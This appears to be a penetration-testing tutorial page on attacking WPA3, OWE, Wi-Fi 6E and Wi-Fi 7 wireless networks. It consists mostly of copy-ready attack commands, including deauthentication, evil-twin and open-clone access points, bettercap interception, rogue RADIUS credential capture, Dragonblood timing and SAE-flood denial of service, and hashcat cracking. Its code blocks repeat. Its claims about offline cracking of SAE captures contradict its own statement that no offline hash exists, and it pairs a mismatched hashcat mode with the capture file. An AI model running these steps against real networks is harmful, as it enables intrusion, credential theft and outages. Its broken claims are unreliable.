Last reviewed

WPA3, Wi-Fi 6 & Wi-Fi 7

Advanced Wireless
Advanced
T1557 T1110

Attacking modern wireless standards including WPA3-SAE, OWE, and 6GHz networks.

Dragonblood — WPA3's Key Vulnerability

The Dragonblood attack (CVE-2019-9494) exploits timing and cache-based side-channels in the SAE (Simultaneous Authentication of Equals) handshake. Unlike WPA2, you cannot capture a reusable offline hash — but you can force dictionary attacks against a live AP using timing information. WPA3 Transition Mode (mixed WPA2/WPA3) is also vulnerable to downgrade to WPA2.

Warning

Hardware Compatibility Warning: Wi-Fi 6E (6GHz) scanning requires specific hardware support (e.g., Intel AX210, MediaTek MT7921AU). Standard 2.4/5GHz adapters will not detect these networks.

Table of Contents

WPA3-SAE (Simultaneous Authentication of Equals)

WPA3 replaces the traditional 4-way handshake with the Dragonfly key exchange (SAE). This protocol is designed to resist offline dictionary attacks by preventing an attacker from verifying a guessed password without interacting with the live network. However, it is still vulnerable to side-channel attacks (like Dragonblood) and downgrade attacks.

To capture the handshake, we use hcxdumptool to interact with the target AP.

capture.sh
bash 
hcxdumptool -i wlan0 --enable_status=1 -o dump.pcapng
hcxdumptool -i wlan0 --enable_status=1 -o dump.pcapng

Once captured, we can attempt to crack the password using hashcat mode 2500.

crack.sh
bash 
hashcat -m 2500 dump.hc22000 wordlist.txt
hashcat -m 2500 dump.hc22000 wordlist.txt

SAE-PK & Downgrade Attacks

SAE-PK (SAE Public Key) is a WPA3 extension built specifically to defeat evil-twin and rogue-AP impersonation on shared-password public networks (cafés, hotels, conferences). The legitimate AP holds an ECDSA key pair, and the network password encodes a truncated fingerprint of that public key plus a "Modifier". A client can therefore cryptographically verify it is talking to the real AP — an attacker who merely knows the shared password still cannot forge a valid SAE-PK signature. Where SAE-PK is enforced, the evil-twin credential capture in section 04 simply fails.

Spotting SAE-PK

SAE-PK passwords are machine-generated and printed as hyphen-grouped base32, e.g. a2bc-de3f-ghij. Those characters are the encoded public-key fingerprint and modifier — a human-chosen passphrase can never be SAE-PK. The capability is signalled through the RSN Extension Element (RSNXE) rather than the normal RSN suites, so most consumer tooling won't flag it; the password format and a failing evil-twin are your practical tells.

In practice SAE-PK is rarely deployed, so the productive attack is almost always downgrade. Most WPA3 networks run in Transition Mode (WPA2/WPA3 mixed) for backward compatibility; if you can push a client onto a WPA2 association you bypass SAE — and SAE-PK — entirely. Fingerprint the target's mode before choosing an approach:

detect-wpa3-mode.sh
bash 
# Fingerprint the target's WPA3 posture before choosing an attack
sudo iw dev wlan0 scan | grep -A 25 "TargetSSID" | grep -iE "SSID|Authentication suites|Capabilities|MFP"

# How to read the RSN block:
#   Authentication suites: PSK SAE   -> Transition Mode (WPA2 fallback exists = downgradeable)
#   Authentication suites: SAE       -> WPA3-only (no WPA2 fallback)
#   Capabilities: ... MFP-required   -> 802.11w mandatory (deauth is dropped)
#   Capabilities: ... MFP-capable    -> PMF optional (deauth may still work)
# Fingerprint the target's WPA3 posture before choosing an attack
sudo iw dev wlan0 scan | grep -A 25 "TargetSSID" | grep -iE "SSID|Authentication suites|Capabilities|MFP"

# How to read the RSN block:
#   Authentication suites: PSK SAE   -> Transition Mode (WPA2 fallback exists = downgradeable)
#   Authentication suites: SAE       -> WPA3-only (no WPA2 fallback)
#   Capabilities: ... MFP-required   -> 802.11w mandatory (deauth is dropped)
#   Capabilities: ... MFP-capable    -> PMF optional (deauth may still work)

If the scan shows PSK SAE, jump to the WPA3 Transition Mode Exploit below for the full WPA2-fallback capture. If it is SAE-only with MFP-required, neither a deauth nor a WPA2 clone will land — fall back to the live-AP Dragonblood timing attack.

OWE (Opportunistic Wireless Encryption)

OWE — marketed as "Enhanced Open" — gives each client on an open (passwordless) network its own encryption key via an unauthenticated Diffie-Hellman exchange at association time. It stops passive sniffing of open Wi-Fi, but because there is no authentication, it does nothing against an active on-path attacker running their own AP. OWE is advertised with AKM suite 00-0F-AC:18.

detect-owe.sh
bash 
# Identify OWE / Enhanced Open and its open companion SSID
sudo iw dev wlan0 scan | grep -A 20 -i "CoffeeShop" | grep -iE "SSID|Authentication suites|RSN|OWE"
# "Authentication suites: OWE" confirms Enhanced Open.
# An OWE Transition BSS also broadcasts a paired OPEN SSID (often hidden),
# linked by the Wi-Fi Alliance "OWE Transition Mode" vendor element.
# Identify OWE / Enhanced Open and its open companion SSID
sudo iw dev wlan0 scan | grep -A 20 -i "CoffeeShop" | grep -iE "SSID|Authentication suites|RSN|OWE"
# "Authentication suites: OWE" confirms Enhanced Open.
# An OWE Transition BSS also broadcasts a paired OPEN SSID (often hidden),
# linked by the Wi-Fi Alliance "OWE Transition Mode" vendor element.

OWE Transition Mode is the weak point. To keep legacy clients working, the AP simultaneously advertises a plain open SSID and a hidden OWE SSID, cross-referenced by a vendor element. Clone the open SSID (or strip the OWE transition element from beacons) and clients — or their auto-join logic — associate to the unencrypted network, handing you a classic rogue-AP MITM position.

owe-downgrade.sh
bash 
# 1. Nudge clients off the real OWE BSS (only works if PMF is not required)
sudo aireplay-ng -0 5 -a <OWE_BSSID> wlan0mon

# 2. Stand up an OPEN clone of the visible transition SSID (no OWE element)
cat > open_clone.conf <<'CONF'
interface=wlan1
driver=nl80211
ssid=CoffeeShop
hw_mode=g
channel=6
# no wpa= / no OWE element -> plain open network
CONF
sudo hostapd -B open_clone.conf

# 3. Clients that fall back to the open SSID now route through you
sudo bettercap -iface wlan1 -eval "net.probe on; net.sniff on; set arp.spoof.fullduplex true"
# 1. Nudge clients off the real OWE BSS (only works if PMF is not required)
sudo aireplay-ng -0 5 -a <OWE_BSSID> wlan0mon

# 2. Stand up an OPEN clone of the visible transition SSID (no OWE element)
cat > open_clone.conf <<'CONF'
interface=wlan1
driver=nl80211
ssid=CoffeeShop
hw_mode=g
channel=6
# no wpa= / no OWE element -> plain open network
CONF
sudo hostapd -B open_clone.conf

# 3. Clients that fall back to the open SSID now route through you
sudo bettercap -iface wlan1 -eval "net.probe on; net.sniff on; set arp.spoof.fullduplex true"

Where OWE downgrade fails

An OWE deployment that mandates PMF (802.11w required) and does not run Transition Mode has no open companion SSID to lure clients onto and cannot be deauthed — its DH-only design still resists passive capture. Treat pure, PMF-required OWE like WPA3-SAE: attack the client's trust decisions, not the protocol.

Wi-Fi 6E (6GHz) Scanning

Wi-Fi 6E introduces the 6GHz band, offering more channels and less interference. However, standard 2.4GHz/5GHz adapters cannot see these networks. You must use 6GHz-capable hardware like the Intel AX210 or MediaTek MT7921AU.

Scanning the 6GHz band requires specifying the correct frequencies.

scan-6ghz.sh
bash 
iw dev wlan0 scan freq 5955 6115
iw dev wlan0 scan freq 5955 6115

Wi-Fi 7 (802.11be) & Multi-Link Operation

Wi-Fi 7 (802.11be, "Extremely High Throughput") is now shipping in flagship APs and client devices. From an attacker's perspective the headline change is Multi-Link Operation (MLO): a single client can associate over multiple radios/bands (2.4, 5 and 6 GHz) simultaneously under one logical link. This changes both your capture strategy and the defensive baseline you should expect.

MLO changes handshake capture

Authentication happens once at the MLD (Multi-Link Device) level, but traffic is then striped across links. If you only monitor one band you may miss the association exchange entirely, or capture partial frames. You need to enumerate every affiliated link (each has its own per-link BSSID under a shared MLD MAC) and capture on the band the client actually authenticated over.

WPA3 + PMF are effectively mandatory

Wi-Fi 7 certification requires WPA3, and the 6 GHz band already mandates 802.11w (PMF) and forbids open/WPA2-only operation. In practice this means deauth-based capture and transition-mode downgrades are far less likely to work on a properly configured Wi-Fi 7 network — focus shifts to client-side trust and misconfiguration rather than protocol downgrade.

wifi7-mlo-recon.sh
bash 
# Enumerate MLO / Multi-Link Devices — each MLD advertises affiliated links
# The RNR (Reduced Neighbor Report) element in beacons lists other-band links
sudo iw dev wlan0 scan | grep -A 30 "TargetMLD" | grep -iE "ssid|freq|RNR|Multi-Link|MLD"

# A single MLD groups per-link BSSIDs under one MLD MAC address.
# Map every affiliated link before choosing a capture band:
#   Link 0 -> 2.4 GHz  (per-link BSSID aa:bb:cc:...:00)
#   Link 1 -> 5   GHz  (per-link BSSID aa:bb:cc:...:01)
#   Link 2 -> 6   GHz  (per-link BSSID aa:bb:cc:...:02)

# Capture across bands — you cannot assume the client authenticated on 2.4 GHz.
# Run hcxdumptool on the 6 GHz-capable adapter and watch all affiliated links:
sudo hcxdumptool -i wlan0 --enable_status=1 -o mlo.pcapng

# Because Wi-Fi 7 mandates WPA3-SAE, the capture feeds the same hashcat -m 22000
# workflow — MLO does not add a new crackable secret, it just complicates where
# the SAE exchange is observable.
hcxpcapngtool -o mlo.hc22000 mlo.pcapng
hashcat -m 22000 mlo.hc22000 wordlist.txt
# Enumerate MLO / Multi-Link Devices — each MLD advertises affiliated links
# The RNR (Reduced Neighbor Report) element in beacons lists other-band links
sudo iw dev wlan0 scan | grep -A 30 "TargetMLD" | grep -iE "ssid|freq|RNR|Multi-Link|MLD"

# A single MLD groups per-link BSSIDs under one MLD MAC address.
# Map every affiliated link before choosing a capture band:
#   Link 0 -> 2.4 GHz  (per-link BSSID aa:bb:cc:...:00)
#   Link 1 -> 5   GHz  (per-link BSSID aa:bb:cc:...:01)
#   Link 2 -> 6   GHz  (per-link BSSID aa:bb:cc:...:02)

# Capture across bands — you cannot assume the client authenticated on 2.4 GHz.
# Run hcxdumptool on the 6 GHz-capable adapter and watch all affiliated links:
sudo hcxdumptool -i wlan0 --enable_status=1 -o mlo.pcapng

# Because Wi-Fi 7 mandates WPA3-SAE, the capture feeds the same hashcat -m 22000
# workflow — MLO does not add a new crackable secret, it just complicates where
# the SAE exchange is observable.
hcxpcapngtool -o mlo.hc22000 mlo.pcapng
hashcat -m 22000 mlo.hc22000 wordlist.txt

Tooling maturity

As of 2026, monitor-mode and injection support for native 802.11be/MLO frames is still maturing across drivers. The MediaTek MT7925 / MT7927 (Wi-Fi 7) chipsets are the most practical starting point, but expect gaps — verify per-link capture actually works in your lab before relying on it during an engagement.

Dragonblood Attack Deep Dive

The Dragonblood attack (CVE-2019-9494, CVE-2019-9495) exploits two weaknesses in the WPA3-SAE Dragonfly handshake:

Timing Side-Channel (CVE-2019-9494)

The SAE handshake uses hunting-and-pecking to convert the password into an elliptic curve point. The number of iterations depends on the password — an attacker measures the time the AP takes to respond and uses this to partition the password space in a dictionary attack.

Cache Side-Channel (CVE-2019-9495)

On shared hardware (VMs, cloud APs), cache-timing attacks leak information about which branch the password-to-element conversion takes, reducing the search space for offline dictionary attacks.

dragonblood-attack.sh
bash 
# Dragonblood timing attack (requires dragondrain/dragontime/dragonforce tools)
# Step 1: Install Dragonblood tools
git clone https://github.com/vanhoefm/dragonblood
cd dragonblood

# Step 2: Measure SAE commit timing
# This sends SAE authentication requests and measures response times
python3 dragontime.py -i wlan0 -t <AP_BSSID> -w wordlist.txt

# Step 3: Partition attack — use timing data to rank password candidates
python3 dragonforce.py -t timing_data.json -w wordlist.txt

# Step 4: Denial of Service via SAE flooding
# SAE commit messages are computationally expensive for the AP
python3 dragondrain.py -i wlan0 -t <AP_BSSID>
# This can overload low-powered APs (IoT, consumer routers)

# Transition mode downgrade (force WPA2 fallback)
# Jam WPA3 beacons while allowing WPA2 beacons through
# Then perform standard WPA2 handshake capture
sudo mdk4 wlan0mon d -b <BSSID>          # Selective deauth
sudo airodump-ng -c <CH> -w capture wlan0mon  # Capture WPA2 handshake
# Dragonblood timing attack (requires dragondrain/dragontime/dragonforce tools)
# Step 1: Install Dragonblood tools
git clone https://github.com/vanhoefm/dragonblood
cd dragonblood

# Step 2: Measure SAE commit timing
# This sends SAE authentication requests and measures response times
python3 dragontime.py -i wlan0 -t <AP_BSSID> -w wordlist.txt

# Step 3: Partition attack — use timing data to rank password candidates
python3 dragonforce.py -t timing_data.json -w wordlist.txt

# Step 4: Denial of Service via SAE flooding
# SAE commit messages are computationally expensive for the AP
python3 dragondrain.py -i wlan0 -t <AP_BSSID>
# This can overload low-powered APs (IoT, consumer routers)

# Transition mode downgrade (force WPA2 fallback)
# Jam WPA3 beacons while allowing WPA2 beacons through
# Then perform standard WPA2 handshake capture
sudo mdk4 wlan0mon d -b <BSSID>          # Selective deauth
sudo airodump-ng -c <CH> -w capture wlan0mon  # Capture WPA2 handshake

WPA3 Transition Mode Exploit

Most WPA3 deployments currently run in Transition Mode (WPA2/WPA3 mixed) to maintain backward compatibility. This completely undermines WPA3 security — an attacker can force any client to downgrade to WPA2.

transition-downgrade.sh
bash 
# Step 1: Identify transition mode networks
sudo airodump-ng wlan0mon
# Look for networks showing both WPA2 and WPA3 in the "ENC" column

# Step 2: Create evil twin broadcasting WPA2-only
# Clone the target SSID but only advertise WPA2
sudo hostapd -B evil_twin.conf
# evil_twin.conf:
#   ssid=TargetNetwork
#   wpa=2
#   wpa_passphrase=anything
#   wpa_key_mgmt=WPA-PSK

# Step 3: Deauth clients from real AP
sudo aireplay-ng -0 0 -a <REAL_AP_BSSID> wlan0mon

# Step 4: Clients reconnect to evil twin using WPA2
# Capture the WPA2 4-way handshake and crack normally
# WPA3-SAE protection is completely bypassed

# Automated approach with wpa_sycophant
git clone https://github.com/vanhoefm/wpa_supplicant-sycophant
# Relay tool that exploits transition mode to capture credentials
# Step 1: Identify transition mode networks
sudo airodump-ng wlan0mon
# Look for networks showing both WPA2 and WPA3 in the "ENC" column

# Step 2: Create evil twin broadcasting WPA2-only
# Clone the target SSID but only advertise WPA2
sudo hostapd -B evil_twin.conf
# evil_twin.conf:
#   ssid=TargetNetwork
#   wpa=2
#   wpa_passphrase=anything
#   wpa_key_mgmt=WPA-PSK

# Step 3: Deauth clients from real AP
sudo aireplay-ng -0 0 -a <REAL_AP_BSSID> wlan0mon

# Step 4: Clients reconnect to evil twin using WPA2
# Capture the WPA2 4-way handshake and crack normally
# WPA3-SAE protection is completely bypassed

# Automated approach with wpa_sycophant
git clone https://github.com/vanhoefm/wpa_supplicant-sycophant
# Relay tool that exploits transition mode to capture credentials

WPA3-Enterprise (192-bit / CNSA)

WPA3-Enterprise introduces a 192-bit security mode using the Commercial National Security Algorithm (CNSA) Suite. This enforces:

  • AES-256-GCM for data encryption (vs AES-128-CCM in WPA2)
  • 384-bit ECDSA/ECDH for key exchange
  • SHA-384 for HMAC
  • BIP-GMAC-256 for management frame protection
  • Mandatory Protected Management Frames (802.11w)
wpa3-enterprise.sh
bash 
# Identify WPA3-Enterprise networks
sudo airodump-ng wlan0mon --encrypt wpa3
# Look for "SAE" or "OWE" or "SUITE_B_192" in key management

# Attack vectors for WPA3-Enterprise:
# 1. Downgrade attack (if transition mode enabled)
#    Same technique as WPA3-Personal transition mode
#
# 2. Rogue RADIUS server
#    Set up evil twin with eaphammer targeting legacy EAP methods
sudo eaphammer -i wlan0 --auth wpa-enterprise --essid CorpWiFi \
  --creds --negotiate balanced
#
# 3. Certificate impersonation
#    If clients don't validate server certificates (common misconfiguration)
#    hostapd-wpe can capture EAP-TLS/PEAP/TTLS credentials
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
#
# 4. EAP-TLS relay (more advanced)
#    Relay authenticated TLS session to the real RADIUS server
#    Requires: eapmd5pass, eapeak, or custom tooling

# Note: Pure WPA3-Enterprise 192-bit with certificate pinning
# and no transition mode is extremely difficult to attack.
# Focus on client-side misconfigurations.
# Identify WPA3-Enterprise networks
sudo airodump-ng wlan0mon --encrypt wpa3
# Look for "SAE" or "OWE" or "SUITE_B_192" in key management

# Attack vectors for WPA3-Enterprise:
# 1. Downgrade attack (if transition mode enabled)
#    Same technique as WPA3-Personal transition mode
#
# 2. Rogue RADIUS server
#    Set up evil twin with eaphammer targeting legacy EAP methods
sudo eaphammer -i wlan0 --auth wpa-enterprise --essid CorpWiFi \
  --creds --negotiate balanced
#
# 3. Certificate impersonation
#    If clients don't validate server certificates (common misconfiguration)
#    hostapd-wpe can capture EAP-TLS/PEAP/TTLS credentials
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
#
# 4. EAP-TLS relay (more advanced)
#    Relay authenticated TLS session to the real RADIUS server
#    Requires: eapmd5pass, eapeak, or custom tooling

# Note: Pure WPA3-Enterprise 192-bit with certificate pinning
# and no transition mode is extremely difficult to attack.
# Focus on client-side misconfigurations.

6GHz Hardware Compatibility

Adapter / Chipset Bands Monitor Mode Injection Notes
Intel AX210 2.4/5/6 GHz Limited Best for scanning; injection requires patched driver
MediaTek MT7921AU 2.4/5/6 GHz Alfa AWUS036AXML — best 6GHz pentest adapter
Qualcomm QCA6696 2.4/5/6 GHz Firmware-locked; found in consumer devices only
Broadcom BCM4389 2.4/5/6 GHz Mobile chipset (Samsung/Google phones); no USB form factor
07. WEP Cracking 09. SDR & RF Hacking

Related Topics

Wireless Setup

Configure your adapter for monitor mode.

WPA Cracking

Traditional WPA2 cracking techniques.

Enterprise Attacks

Attacking WPA-Enterprise networks.

Related Tools

Use the interactive toolset as a nearby operator companion while working through this guide.

Interactive Tool

Wi-Fi Command Builder

Generate copy-ready aircrack-ng, hcxdumptool, hashcat, reaver, and eaphammer commands for the capture-to-crack workflow.
Interactive Tool

MAC Address Analyzer

Identify adapter and client vendors by OUI while triaging airodump output and spoofing addresses.
Interactive Tool

Hash Generator

Generate and identify hashes when validating captured PMKID/EAPOL material before feeding hashcat.
Interactive Tool

Subnet Calculator

Work out ranges and segmentation once you pivot from a compromised wireless foothold into the wired network.